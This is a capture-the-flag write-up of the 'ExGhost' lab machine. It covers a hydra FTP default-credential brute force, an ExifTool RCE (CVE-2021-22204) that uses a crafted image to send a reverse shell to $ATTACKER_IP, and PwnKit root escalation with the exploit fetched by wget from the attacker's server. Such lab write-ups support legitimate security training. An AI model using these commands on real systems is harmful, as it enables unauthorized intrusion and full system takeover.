Skip to content

ExGhost Writeup - Proving Grounds

Hard Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

ExGhost locks down both its services until a default-credential brute force against FTP succeeds. A captured PCAP in the retrieved file reveals a hidden upload endpoint running a vulnerable ExifTool, giving a www-data shell via a crafted image upload, and an outdated PolicyKit lets PwnKit finish the job as root.

Reconnaissance

Nmap

Scan all ports with version detection.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p- -T4 --min-rate=5000 $TARGET_IP
21/tcp open  ftp   vsftpd 3.0.3
80/tcp open  http  Apache httpd 2.4.41 ((Ubuntu))

HTTP returns 403 Forbidden at the root with no index file, and dirsearch only turns up an empty, forbidden /uploads/. Anonymous FTP login fails and there is no version-specific vsftpd exploit, so both services look locked down by design.

Exploitation

FTP default-credential brute force

Brute force FTP against a default-credential list rather than rockyou.

┌──(kali㉿kali)-[~]
└─$ hydra -C /usr/share/wordlists/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://$TARGET_IP
[21][ftp] host: $TARGET_IP   login: user   password: system
Explain command
-C Colon-separated user:pass combo list instead of separate -l/-P lists.

Log in with user:system and pull everything off the share.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ ftp> passive
┌──(kali㉿kali)-[~]
└─$ ftp> dir -a
┌──(kali㉿kali)-[~]
└─$ ftp> binary
┌──(kali㉿kali)-[~]
└─$ ftp> get backup
backup   100% transferred

Always check the file type before trusting a name or extension.

┌──(kali㉿kali)-[~]
└─$ file backup
backup: pcap capture file, microsecond ts (little-endian)

PCAP analysis

Open the capture in Wireshark, filter on http, and follow the HTTP streams. That reveals a hidden upload endpoint, POST /exiftest.php, a form field named myFile, and the server-side tool version: ExifTool 12.23.

ExifTool RCE (CVE-2021-22204)

ExifTool 12.23 executes embedded Perl code from crafted DjVu metadata. Generate a malicious image and start a listener.

┌──(kali㉿kali)-[~]
└─$ sudo apt install djvulibre-bin -y
┌──(kali㉿kali)-[~]
└─$ python3 50911.py -s $ATTACKER_IP $ATTACKER_PORT
image.jpg
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Upload the image to the hidden endpoint using the correct field name to trigger the RCE.

┌──(kali㉿kali)-[~]
└─$ curl -F "myFile=@image.jpg" http://$TARGET_IP/exiftest.php

The listener catches a shell as www-data. Stabilize it.

Privilege Escalation

PwnKit (CVE-2021-4034)

Check PolicyKit's version and pkexec's permissions.

┌──(kali㉿kali)-[~]
└─$ apt-cache policy policykit-1
┌──(kali㉿kali)-[~]
└─$ ls -la /usr/bin/pkexec
Installed: 0.105-26ubuntu1.1
-rwsr-xr-x 1 root root 36248 /usr/bin/pkexec

Vulnerable, and there is no gcc on the target, so use the Python port of the exploit.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000
┌──(kali㉿kali)-[~]
└─$ cd /tmp
┌──(kali㉿kali)-[~]
└─$ wget http://$ATTACKER_IP:8000/CVE-2021-4034.py
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-4034.py
# id
uid=0(root) gid=0(root) groups=0(root)

References